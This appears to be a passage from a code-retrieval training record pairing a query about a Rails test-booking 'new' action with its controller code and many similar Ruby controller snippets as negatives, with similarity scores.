"0.58537364",
"0.5850427",
"0.5850199"
] | 0.0 | -1 |
GET /test_bookings/1 GET /test_bookings/1.xml | def show
@admission = Admission.new
@session_id=session[:id]
@session = Session.find(session[:id])
@person = Person.find(@session.person_id)
@test_booking = TestBooking.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.xml { render :xml => @test_booking }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @booking = Booking.find(params[:id])\n \n respond_to do |format|\n format.html \n format.xml { render :xml => @booking }\n end\n end",
"def show\n @booking = @room.bookings.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @booking }\n end\n end",
"def get_listings_xml(url)\n @client.get_content(url)\n end",
"def feed\n @bookings = Booking.find_waiting_pickup\n respond_to do |format|\n format.rss\n end\n end",
"def show\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @booking }\n end\n end",
"def timeline\n @bookings = Booking.find_waiting_pickup\n respond_to do |format|\n format.xml\n end\n end",
"def index\n @bookings = Booking.all\n respond_with(@bookings)\n end",
"def show\n \n @booking = Booking.find( params[ :id ] )\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @booking.to_xml }\n format.json { render :json => @booking.to_json }\n format.yaml { render :text => @booking.to_yaml }\n end\n \n end",
"def index\n @customizebookings = Customizebooking.order(\"updated_at DESC\").page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @customizebookings }\n end\n end",
"def index\n\n respond_to do |format|\n format.html { @booking_pages, @bookings = paginate( Booking, :order_by => \"expected_pickup\", :conditions => Booking.waiting_pickup_condition ) }\n format.xml { render :xml => Booking.find_waiting_pickup.to_xml }\n format.json { render :json => Booking.find_waiting_pickup.to_json }\n format.yaml { render :text => Booking.find_waiting_pickup.to_yaml }\n end\n \n end",
"def show\n @test_booking_child = TestBookingChild.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @test_booking_child }\n end\n end",
"def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html\n format.json { render :json => @bookings }\n end\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all(:include => [:user, :suite])\n @current_bookings = Booking.current_bookings\n @archived_bookings = Booking.archived_bookings\n @cancelled_bookings = Booking.cancelled_bookings\n\n respond_to do |format|\n format.html { render :layout => \"admin_layout\"}\n format.xml { render :xml => @bookings }\n end\n end",
"def index\n @books = Book.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @books }\n end\n end",
"def index\n @books = Book.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @books }\n end\n end",
"def show\n @booker = Booker.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @booker }\n end\n end",
"def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end",
"def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end",
"def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end",
"def show\n @shelf = Shelf.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @shelf.to_xml(:include => :books) }\n end\n end",
"def index\n # @bookings = Booking.all\n begin\n @response = Booking.get_bookings\n rescue RestClient::Exception => exception\n @error = exception.response\n end\n # binding.pry\n end",
"def index\n @bookings = Booking.all\n end",
"def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @book }\n format.json { render json: @book }\n end\n end",
"def list_books(api_object)\n puts \"Current Books:\"\n doc = Nokogiri::XML.parse api_object.read\n names = doc.xpath('books/book/title').collect {|e| e.text }\n puts names.join(\", \")\n puts \"\"\nend",
"def index\n @bookings = Booking.order(updated_at: :desc).page(params[:page]).per(NUM_PER_PAGE)\n end",
"def index \n session[:link_to_bookings] = params[:classroom][:links].last[:uri] if (params[:classroom]) \n @link = session[:link_to_bookings]\n @params= \"date=#{params[:date]}&limit=#{params[:limit]}&status=#{params[:status]}\"\n @bookings = ClientApi.bookings_list @link, @params\n end",
"def new\n @booking = Booking.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @booking }\n end\n end",
"def index\n @books = Book.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @books.to_xml }\n end\n end",
"def new\n @booking = Booking.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @booking }\n end\n end",
"def index\n @guest_books = GuestBook.find(:all, :order=>'created_at desc')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @guest_books }\n end\n end",
"def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @book }\n end\n end",
"def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @book }\n end\n end",
"def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @book }\n end\n end",
"def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @book }\n end\n end",
"def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @book }\n end\n end",
"def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @book }\n end\n end",
"def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @book }\n end\n end",
"def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @book }\n end\n end",
"def index\n @ninety_ten_bookings = NinetyTenBooking.all\n end",
"def show\n @book = Book.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @book }\n end\n end",
"def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @book.to_xml }\n end\n end",
"def show\n @guest_book = GuestBook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @guest_book }\n end\n end",
"def index\n @books = Book.all\n\t# @book = Book.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @books }\n end\n end",
"def index\n @book_types = BookType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @book_types }\n end\n end",
"def show\n @mybook = Mybook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @mybook }\n end\n end",
"def index\n bookings = Booking.all\n\n if bookings\n render json: { status: 'SUCCESS', message: 'Successfuly got all bookings', data: bookings }, status: :ok\n else\n render json: { status: 'ERROR', message: 'Something went wrong' }, status: :unprocessable_entity\n end\n end",
"def index\n base_url = 'https://www.googleapis.com/books/v1/volumes?q=fiction&maxResults=20'\n and_key = '&key='\n key = ENV['GOOGLE_BOOKS_API_KEY'] \n googleurl = base_url + and_key + key\n\n response = RestClient.get(googleurl)\n @books = JSON.parse(response)\n\n respond_to do |format|\n format.html\n format.json { render json: @books }\n end\n\nend",
"def show\n @addbook = Addbook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @addbook }\n end\n end",
"def index\n @bookings = Booking.all\n\n render json: @bookings\n end",
"def show\n @house_book = HouseBook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @house_book }\n end\n end",
"def viewAllBookings\n connection.puts \"View All Bookings\" \n end",
"def show\n @book = Book.active.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @book }\n end\n end",
"def get_xml\n response = @api.request(:get, @location, type: 'xml')\n response.body if response.status == 200\n end",
"def show\n begin\n @response = Booking.get_booking(params[:id])\n rescue RestClient::Exception => exception\n @error = exception.response\n end\n end",
"def show\n @loanbook = Loanbook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @loanbook }\n end\n end",
"def index\n @betpayees = Betpayee.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @betpayees }\n end\n end",
"def get_bookings_xml(property, days, &block)\n booking_ids = get_booking_ids(property, days)\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.GetBookingDetailsRequest('xmlns' => AgodaChannel::XMLNS) {\n xml.Authentication(:APIKey => AgodaChannel::API_KEY, :HotelID => property.agoda_hotel_id)\n xml.BookingIDList {\n booking_ids.each do |booking_id|\n puts booking_id\n xml.BookingID booking_id\n end\n }\n }\n end\n\n request_xml = builder.to_xml\n response_xml = AgodaChannel.post_xml(request_xml)\n\n xml_doc = Nokogiri::XML(response_xml)\n begin\n success = xml_doc.xpath('//agoda:StatusResponse', 'agoda' => AgodaChannel::XMLNS).attr('status').value\n # 204 is when no inventory returned.\n if success == '200' or success == '204'\n block.call xml_doc\n else\n property_channel = PropertyChannel.find_by_property_id_and_channel_id(property.id, channel.id)\n logs_get_bookings_failure channel.name, request_xml, xml_doc, property, property_channel, APP_CONFIG[:agoda_endpoint]\n end\n rescue\n property_channel = PropertyChannel.find_by_property_id_and_channel_id(property.id, channel.id)\n logs_get_bookings_failure channel.name, request_xml, xml_doc, property, property_channel, APP_CONFIG[:agoda_endpoint]\n end\n end",
"def index\n @fg_bookings = FgBooking.all\n end",
"def show\n @suite = Suite.find(params[:id])\n @user = User.new\n @booking = Booking.new\n respond_to do |format|\n format.html { render :layout => \"application\"}\n format.xml { render :xml => @suite }\n end\n end",
"def show\n\t\t@booking = Booking.find(params[:id])\n\t\trender json: @booking, status: 200\n\tend",
"def set_api_v1_booking\n @api_v1_booking = Booking.find(params[:id])\n end",
"def show\n @offering = Offering.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @offering }\n end\n end",
"def show\n @librarybook = Librarybook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @librarybook }\n end\n end",
"def show\n @book = Book.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @book.to_xml(:include => { :keywords => {}, :sb_keywords => {}, :targetgroup => {}, :agegroup => {}, :signum => {}, :editions => { :include => { :descriptions => { :include => { :user => { :except => [:email, :password_hash]}}}}}, :assessments => {}, :taggings => { :include => :tag } }) } \n end\n end",
"def index\n @online_bookings = OnlineBooking.all\n end",
"def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.haml\n format.xml { render :xml => @book }\n end\n end",
"def index\n respond_with Biblebook.all\n end",
"def index\n @booking_infos = BookingInfo.all\n end",
"def test_articlerss\n get :articlerss, :id => 1 \n assert_response :success\n assert_nothing_raised do\n assert REXML::Document.new(@response.body)\n end\n end",
"def index\n @bookmarks = Bookmark.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @bookmarks }\n end\n end",
"def index\n @bets = Bet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @bets }\n end\n end",
"def index\n @journals = @book.journals\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @journals }\n end\n end",
"def index\n @bowls = Bowl.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @bowls }\n end\n end",
"def show\n @bookfair = Bookfair.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bookfair }\n end\n end",
"def index\n @pages = @offering.pages.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pages }\n end\n end",
"def show\n @viewing = Viewing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @viewing }\n end\n end",
"def show\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end",
"def show\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end",
"def show\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end",
"def show\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end",
"def index\n @xml_samples = XmlSample.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @xml_samples }\n format.xml { render xml: @xml_samples }\n end\n end",
"def show\n @booking = Booking.find(params[:id])\n respond_with(@booking)\n end",
"def show\n @book_type = BookType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @book_type }\n end\n end",
"def show\n @book_type = BookType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @book_type }\n end\n end",
"def index\n @bookings = @user.bookings\n end",
"def show\n @listing = Listing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @listing }\n end\n end",
"def index\n @cooking_ingredients = CookingIngredient.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @cooking_ingredients }\n end\n end",
"def index\n @borrower_residences = BorrowerResidence.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @borrower_residences.to_xml }\n end\n end"
] | [
"0.6642133",
"0.65756303",
"0.6536346",
"0.6530408",
"0.6520359",
"0.6508713",
"0.63768905",
"0.6347579",
"0.62398446",
"0.6211322",
"0.6173901",
"0.6169943",
"0.61501443",
"0.61501443",
"0.61501443",
"0.61501443",
"0.61501443",
"0.61501443",
"0.61501443",
"0.61501443",
"0.61501443",
"0.61501443",
"0.61501443",
"0.61501443",
"0.61501443",
"0.61279213",
"0.6125247",
"0.6125247",
"0.6114484",
"0.61115766",
"0.61115766",
"0.61115766",
"0.6103971",
"0.60638833",
"0.6058812",
"0.6046003",
"0.6038511",
"0.6036759",
"0.6033685",
"0.6031635",
"0.6029882",
"0.60241824",
"0.6004174",
"0.5977833",
"0.5977833",
"0.5977833",
"0.5977833",
"0.5977833",
"0.5977833",
"0.5977833",
"0.5977833",
"0.59744096",
"0.5971385",
"0.59603256",
"0.59600526",
"0.5947434",
"0.5937187",
"0.59316605",
"0.592697",
"0.5925295",
"0.59154594",
"0.5895714",
"0.58820283",
"0.585928",
"0.5851444",
"0.5840795",
"0.5830952",
"0.58148277",
"0.5811328",
"0.58092666",
"0.5800524",
"0.57937",
"0.57518363",
"0.574956",
"0.57377",
"0.57347953",
"0.5734389",
"0.5734314",
"0.57276314",
"0.572695",
"0.5714904",
"0.57147586",
"0.5704475",
"0.5701286",
"0.5690463",
"0.5686816",
"0.56785214",
"0.56774795",
"0.56698287",
"0.56661713",
"0.56661713",
"0.56661713",
"0.56661713",
"0.5664112",
"0.56630194",
"0.56629235",
"0.56629235",
"0.5653742",
"0.56416243",
"0.56404126",
"0.5631834"
] | 0.0 | -1 |
GET /test_bookings/new GET /test_bookings/new.xml | def new
@session_id=session[:id]
@session = Session.find(session[:id])
@person = Person.find(@session.person_id)
@[email protected]_code
@[email protected]_location
@test_booking = TestBooking.new
@item_master=ChargeMaster.all(:conditions => "org_code = '#{@org_code}'")
10.times{ @test_booking.test_booking_child.build }
str=""
str1=""
@barcode_id=""
@tb=TestBooking.last(:conditions =>"org_code='#{@org_code}'")
if(@tb)
n=(@tb.lab_no.slice!(3..50).to_i+1).to_s
@[email protected]_id.next
str="Lab"+n
else
n=1.to_s
@barcode_id="201208001"
str="Lab"+n
end
@test_booking.lab_no=str
receipt_no=Number.new # Create object to number table
@test_booking.bill_no=receipt_no.get_number('receipt',@org_code) # Method calling
# end
@appt_payment = AppointmentPayment.all(:conditions => "appt_date = '#{Date.today}'")
@admissions = Admission.all(:conditions => "admn_status = 'admitted'", :order => "id DESC")
@registration=Registration.all(:order => "id DESC")
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @test_booking }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def new\n @booking = Booking.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @booking }\n end\n end",
"def new\n @booking = Booking.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @booking }\n end\n end",
"def new\n @book = Book.new :copies => 1\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @book }\n end\n end",
"def new\n @book = Book.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @book }\n end\n end",
"def new\n @book = Book.new \n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @book }\n end\n end",
"def new\n @addbook = Addbook.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @addbook }\n end\n end",
"def new\n @book = Book.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @book }\n format.json { render json: @book }\n end\n end",
"def new\n @book = Book.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @book }\n end\n end",
"def new\n @book = Book.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @book }\n end\n end",
"def new\n @book = Book.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @book }\n end\n end",
"def new\n @book = Book.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @book }\n end\n end",
"def new\n @book = Book.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @book }\n end\n end",
"def new\n @book = Book.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @book }\n end\n end",
"def new\n @book = Book.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @book }\n end\n end",
"def new\n @book = Book.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @book }\n end\n end",
"def new\n @booker = Booker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @booker }\n end\n end",
"def new\n @guest_book = GuestBook.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @guest_book }\n end\n end",
"def new\n @listing = Listing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @listing }\n end\n end",
"def new\n @house_book = HouseBook.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @house_book }\n end\n end",
"def new\n @test_booking_child = TestBookingChild.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @test_booking_child }\n end\n end",
"def new\n @book = Book.new\n\n respond_to do |format|\n format.html # new.html.haml\n format.xml { render :xml => @book }\n end\n end",
"def new\n @book_list = BookList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @book_list }\n end\n end",
"def new\n @viewing = Viewing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @viewing }\n end\n end",
"def new\n @book_type = BookType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @book_type }\n end\n end",
"def new\n @book_type = BookType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @book_type }\n end\n end",
"def new\n @bookfair = Bookfair.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bookfair }\n end\n end",
"def new\n @loanbook = Loanbook.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @loanbook }\n end\n end",
"def new\n @mybook = Mybook.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mybook }\n end\n end",
"def new\n @offering = Offering.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @offering }\n end\n end",
"def new\n @booking = Booking.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @booking }\n end\n end",
"def new\n @booking = Booking.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @booking }\n end\n end",
"def new\n @librarybook = Librarybook.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @librarybook }\n end\n end",
"def new\n @scraper = Scraper.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @scraper }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end",
"def new\n @bingo = Bingo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bingo }\n end\n end",
"def new\n @savings = Savings.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @savings }\n end\n end",
"def new\n @good = Good.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @good }\n end\n end",
"def new\n @borrow = Borrow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @borrow }\n end\n end",
"def new\n @book = Book.new\n\n do_response @book\n end",
"def new\n @thing = Thing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thing }\n end\n end",
"def new\n @customizebooking = Customizebooking.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @customizebooking }\n end\n end",
"def new\n @bookmark = Bookmark.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bookmark }\n end\n end",
"def new\n @bookmark = Bookmark.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bookmark }\n end\n end",
"def new\n @listing_status = ListingStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @listing_status }\n end\n end",
"def new\n @offering = Offering.new\n session[:breadcrumbs].add \"New\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @offering }\n end\n end",
"def new_rest\n @item_usage = ItemUsage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item_usage }\n end\n end",
"def new\n @title = \"New Book\"\n @book = Book.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @book }\n end\n end",
"def new\n load_data\n @book = Book.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @book }\n end\n end",
"def new\n @posting = Posting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @posting }\n end\n end",
"def new\n @posting = Posting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @posting }\n end\n end",
"def new\n @testing = Testing.new\n @testing.build_documents\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @testing }\n end\n end",
"def new\n @shelf = Shelf.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @shelf }\n end\n end",
"def new\n @booking = Booking.new\n @room_types = RoomType.all\n\n respond_to do |format|\n format.html { render action: 'new' } # new.html.erb\n format.json { render json: @booking }\n end\n end",
"def new\n @address_book = AddressBook.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @address_book }\n end\n end",
"def new\n @bill = Bill.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bill }\n end\n end",
"def new\n #@bill = Bill.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bill }\n end\n end",
"def new\n @xml_sample = XmlSample.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @xml_sample }\n end\n end",
"def new\n @sellerring = Sellerring.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sellerring }\n end\n end",
"def new\n @books_category = BooksCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @books_category }\n end\n end",
"def new\n @page = @offering.pages.new\n session[:breadcrumbs].add \"New\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def new\n @current_book = Book.find_by_id(params[:book_id])\n @chapter = Chapter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :json => @chapter }\n end\n end",
"def new\n @hotel = Hotel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @hotel }\n end\n end",
"def create\n @booking = @room.bookings.build(params[:booking])\n\n respond_to do |format|\n if @booking.save\n flash[:notice] = 'Booking was successfully created.'\n format.html { redirect_to property_url(@room.property) }\n format.xml { render :xml => @booking, :status => :created, :location => @booking }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @booking.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @cash_book = CashBook.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cash_book }\n end\n end",
"def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @coating }\n end\n end",
"def new\n @listing = Listing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.fbml # new.fbml.erb\n format.xml { render :xml => @listing }\n end\n end",
"def new\n @bowl = Bowl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bowl }\n end\n end",
"def create\n @book = Book.new(params[:book])\n\n respond_to do |format|\n if @book.save\n flash[:notice] = 'Book was successfully created.'\n format.html { redirect_to(@book) }\n format.xml { render :xml => @book, :status => :created, :location => @book }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @book.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @book = Book.new(params[:book])\n\n respond_to do |format|\n if @book.save\n flash[:notice] = 'Book was successfully created.'\n format.html { redirect_to(@book) }\n format.xml { render :xml => @book, :status => :created, :location => @book }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @book.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @book = Book.new(params[:book])\n\n respond_to do |format|\n if @book.save\n flash[:notice] = 'Book was successfully created.'\n format.html { redirect_to(@book) }\n format.xml { render :xml => @book, :status => :created, :location => @book }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @book.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @book = Book.new(params[:book])\n\n respond_to do |format|\n if @book.save\n flash[:notice] = 'Book was successfully created.'\n format.html { redirect_to book_url(@book) }\n format.xml { head :created, :location => book_url(@book) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @book.errors.to_xml }\n end\n end\n end",
"def new\n @sprint = Sprint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sprint }\n end\n end",
"def new\n @sprint = Sprint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sprint }\n end\n end",
"def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @location }\n end\n end",
"def new\r\n @book = Book.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @book }\r\n end\r\n end",
"def new\n @livingroom = Livingroom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @livingroom }\n end\n end",
"def create\n @book = Book.new(params[:book])\n\n respond_to do |format|\n if @book.save\n format.html { redirect_to(@book, :notice => 'Book was successfully created.') }\n format.xml { render :xml => @book, :status => :created, :location => @book }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @book.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @book = Book.new(params[:book])\n\n respond_to do |format|\n if @book.save\n format.html { redirect_to(@book, :notice => 'Book was successfully created.') }\n format.xml { render :xml => @book, :status => :created, :location => @book }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @book.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @want = Want.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @want }\n end\n end",
"def new\n @booking = Booking.new\n @suite = Suite.find(params[:suite_id])\n respond_to do |format|\n format.html { render :layout => 'admin_layout'}\n format.xml { render :xml => @booking }\n end\n end",
"def new\n @detail = @listing.details.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @detail }\n end\n end",
"def new_rest\n @entry_item = EntryItem.new\n\n respond_to do |format|\n #format.html # new.html.erb\n format.xml { render :xml => @entry_item }\n end\n end",
"def new\n @bedding = Bedding.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bedding }\n end\n end",
"def new\n @booking = Booking.new\n end",
"def new\n @volunteer_offering = VolunteerOffering.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @volunteer_offering }\n end\n end",
"def new\n @billitem = Billitem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @billitem }\n end\n end",
"def new\n @rankings = Rankings.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rankings }\n end\n end",
"def new\n @lottery = Lottery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lottery }\n end\n end",
"def new\n @thing_list = ThingList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thing_list }\n end\n end",
"def new\n @book = Book.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @book }\n end\n end",
"def new\n @book = Book.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @book }\n end\n end",
"def new\n @dining = Dining.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dining }\n end\n end",
